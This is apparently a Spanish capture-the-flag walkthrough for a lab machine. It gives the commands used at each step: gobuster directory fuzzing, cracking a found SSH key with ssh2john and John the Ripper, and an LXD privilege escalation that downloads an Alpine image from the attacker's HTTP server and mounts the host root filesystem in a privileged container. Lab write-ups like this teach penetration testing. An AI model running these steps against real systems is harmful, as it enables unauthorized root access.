NMAP

NMAP Scan Result

WEB

Web Interface Initial

Posible usuario:

Web Interface User Found

Fuzzing

Usamos Gobuster para decubrir directorios:

gobuster dir -u http://10.10.74.161/ -w /usr/share/wordlists/dirb/common.txt
Gobuster Initial Result Gobuster Process Gobuster Process Continued Gobuster Further Results Gobuster Final Results

Convertimos la clave privada SSH para John The Ripper:

ssh2john secretKey > pass.hash
SSH Key Conversion

Crackeamos el hash con John The Ripper:

john pass.hash
John The Ripper Output

Colocamos los permisos necesarios para la SSH key:

chmod 600 secretKey

SSH

SSH Connection

User Flag

User Flag Found

Privilege Escalation

Descargar y usar Alpine Linux como contenedor para escalar privilegios:

Descargamos de build-alpine y ejecutamos:

sudo bash build-alpine

Transfiera la imagen del contenedor a través de un servidor HTTP Python:

wget 10.8.67.209:8001/alpine-v3.13-x86_64-20210218_0139.tar.gz
Downloading Alpine Image
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxc init alpine privesc -c security.privileged=true
LXC Container Setup

Configurando e iniciando el contenedor:

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
LXC Privilege Escalation

Root Flag

find / -type f -name "root.txt" 2>/dev/null
Root Flag Found